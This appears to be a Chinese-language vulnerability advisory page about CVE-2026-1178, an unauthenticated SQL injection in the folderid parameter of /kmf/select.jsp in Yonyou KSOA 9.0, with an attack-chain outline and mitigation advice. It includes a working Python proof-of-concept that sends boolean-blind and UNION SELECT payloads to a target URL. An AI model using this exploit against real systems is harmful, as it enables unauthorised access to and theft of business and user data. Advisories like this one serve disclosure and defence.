IPBUF安全漏洞报告
English
CVE-2026-1178 CVSS 7.3 高危

CVE-2026-1178 用友KSOA SQL注入漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1178
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Yonyou KSOA 9.0

相关标签

SQL注入用友KSOACVE-2026-1178高危漏洞远程代码执行数据泄露/kmf/select.jspfolderid参数无需认证

漏洞概述

CVE-2026-1178是存在于用友KSOA 9.0版本中的一个高危SQL注入漏洞。该漏洞位于/kmf/select.jsp文件的HTTP GET参数处理器中,攻击者可通过操纵folderid参数实现SQL注入攻击。由于该漏洞无需认证即可远程利用,且CVSS评分达到7.3分(高危),对系统机密性、完整性和可用性均造成一定影响。漏洞已于2026年1月19日公开披露, exploits已在网络上流传,厂商用友虽已接到通知但未作出回应。此漏洞可被远程攻击者利用,通过构造恶意SQL语句读取、修改数据库中的敏感信息,甚至可能获取系统控制权。建议受影响的用户立即采取防护措施,避免遭受攻击。

技术细节

该漏洞为典型的SQL注入漏洞,存在于用友KSOA 9.0的/kmf/select.jsp页面中。攻击者通过HTTP GET请求,构造恶意的folderid参数值,实现SQL注入攻击。由于程序未对用户输入进行充分的参数化查询或输入过滤,攻击者可以在SQL查询中注入任意SQL语句。成功利用此漏洞可导致:1)未授权读取数据库中的敏感数据,如用户信息、业务数据等;2)修改或删除数据库记录,影响数据完整性;3)在某些配置下可能实现远程代码执行或获取服务器权限。攻击者可利用UNION SELECT、布尔盲注或时间盲注等技术提取数据库内容。由于该接口无需认证即可访问,攻击门槛较低,危害性较大。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标站点使用用友KSOA 9.0,定位到存在漏洞的/kmf/select.jsp页面
STEP 2
步骤2
构造Payload:攻击者构造恶意的folderid参数,包含SQL注入语句(如UNION SELECT或布尔盲注)
STEP 3
步骤3
发送请求:攻击者通过HTTP GET请求向目标服务器发送构造好的恶意请求
STEP 4
步骤4
注入执行:服务器将攻击者的输入拼接到SQL查询中未加过滤地执行
STEP 5
步骤5
数据提取:攻击者利用SQL注入技术逐步提取数据库中的敏感信息(用户数据、业务数据等)
STEP 6
步骤6
权限提升:在特定配置下,可能通过SQL注入获取数据库管理员权限或进一步渗透系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-1178 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /kmf/select.jsp # Parameter: folderid def exploit(target_url, folderid_payload): """ Exploit SQL injection in Yonyou KSOA /kmf/select.jsp Args: target_url: Base URL of the vulnerable application folderid_payload: Malicious SQL payload for folderid parameter Returns: HTTP response from the server """ params = { 'folderid': folderid_payload } try: # Blind SQL injection detection response = requests.get( f'{target_url}/kmf/select.jsp', params=params, timeout=10, verify=False ) return response except requests.RequestException as e: print(f'[-] Error: {e}') return None def basic_injection_test(target_url): """ Basic SQL injection test using boolean-based blind injection """ # True condition - should return normal response true_payload = "1' AND 1=1 -- " # False condition - should return different response false_payload = "1' AND 1=2 -- " print('[*] Testing basic SQL injection...') resp_true = exploit(target_url, true_payload) resp_false = exploit(target_url, false_payload) if resp_true and resp_false: if resp_true.text != resp_false.text: print('[+] SQL Injection vulnerability confirmed!') return True print('[-] Could not confirm SQL injection') return False def extract_database_version(target_url): """ Extract database version using UNION-based injection """ # MySQL version extraction payload version_payload = "1' UNION SELECT @@version -- " print('[*] Attempting to extract database version...') response = exploit(target_url, version_payload) if response and response.status_code == 200: print(f'[+] Response received (length: {len(response.text)})') return response.text return None if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://target.com') sys.exit(1) target = sys.argv[1].rstrip('/') print(f'[*] Target: {target}') print(f'[*] CVE-2026-1178 SQL Injection PoC') print('=' * 50) # Run basic test if basic_injection_test(target): print('[*] Vulnerability is exploitable') # Uncomment to extract database info # extract_database_version(target)

影响范围

Yonyou KSOA 9.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)通过Web应用防火墙规则暂时拦截/kmf/select.jsp页面或对folderid参数进行严格过滤;2)限制该接口的网络访问,仅允许受信任的IP访问;3)监控Web日志,检测异常的SQL注入尝试特征;4)考虑暂时禁用/kmf/select.jsp功能,待官方修复后再恢复使用;5)加强数据库账户权限控制,防止SQL注入导致的数据泄露和破坏。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表